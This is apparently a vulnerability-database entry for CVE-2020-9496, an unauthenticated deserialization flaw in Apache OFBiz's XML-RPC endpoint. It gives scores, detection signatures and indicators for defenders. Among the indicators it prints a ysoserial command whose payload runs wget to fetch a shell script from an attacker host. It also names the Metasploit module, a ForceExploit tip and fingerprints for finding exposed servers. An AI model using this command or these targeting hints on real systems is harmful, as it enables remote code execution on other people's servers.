cbcvebase.
CVE-2020-9496
published 2020-07-15

CVE-2020-9496: XML-RPC request are vulnerable to unsafe deserialization and Cross-Site Scripting issues in Apache OFBiz 17.12.03

PriorityP183medium6.1CVSS 3.1
AVNACLPRNUIRSCCLILAN
ITWEXPLOITVulnCheck KEVInitial access
Exploited in the wild
EPSS
98.93%
99.9th percentile
XML-RPC request are vulnerable to unsafe deserialization and Cross-Site Scripting issues in Apache OFBiz 17.12.03

Affected

2 ranges
VendorProductVersion rangeFixed in
apacheofbiz
apacheofbiz

Detection & IOCsextracted from sources · hover to see the quote

url/webtools/control/xmlrpc
url/webtools/control/xmlrpc
commandjava -jar ysoserial-master-d367e379d9-1.jar CommonsBeanutils1 "wget $ip/shell.sh -O /tmp/shell.sh"
filenameysoserial-master-d367e379d9-1.jar
urlhttps://jitpack.io/com/github/frohoff/ysoserial/master-d367e379d9-1/ysoserial-master-d367e379d9-1.jar
port8443
otherCommonsBeanutils1
sigma
matchers: faultString / No such service [ProjectDiscovery] / methodResponse in body; Content-Type: text/xml in header; HTTP 200
  • The vulnerable unauthenticated endpoint is /webtools/control/xmlrpc (also /webtools/control/ping). POST requests with a serialized Java payload in the body trigger deserialization. Look for POST requests to this path with Content-Type: application/xml.
  • Exploit payloads use ysoserial with the CommonsBeanutils1 or ROME gadget chain, base64-encoded and embedded in the POST body prefixed with a string such as 'ProjectDiscovery'. Detect anomalously large base64 blobs in XML-RPC POST bodies to /webtools/control/xmlrpc.
  • A successful probe returns an HTTP 200 response with body containing 'faultString', 'No such service [ProjectDiscovery]', and 'methodResponse', and a response header of 'Content-Type: text/xml'. Use these as detection signatures.
  • Shodan/FOFA fingerprints for exposed OFBiz instances: http.html contains 'ofbiz' or cookie 'ofbiz.visitor=' is present.
  • Post-exploitation dropper is written to /tmp/ (e.g. /tmp/shell.sh, /tmp/AJDUKNgC). Monitor for curl/wget writing executable files to /tmp followed by chmod +x and execution.
  • The Metasploit module is exploit/linux/http/apache_ofbiz_deserialization. Detect its use by the characteristic HTTP dropper URL pattern and curl user-agent in server logs.
  • ·CVE-2020-9496 affects Apache OFBiz versions prior to 17.12.04. The fixed version is 17.12.04. Versions up to 18.12.11 may also be exploitable via auth bypass CVE-2023-51467 using the CommonsBeanutils1 gadget chain.
  • ·The Metasploit module's automatic check may report the target as not exploitable even when it is; ForceExploit must be set to true to proceed in some configurations.

CVSS provenance

nvdv3.16.1MEDIUMCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
nvdv2.04.3MEDIUMAV:N/AC:M/Au:N/C:N/I:P/A:N
vulncheck6.1MEDIUM
vendor_apache6.1MEDIUM
CVEs like this are exactly what “Exploited This Week” covers.

Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.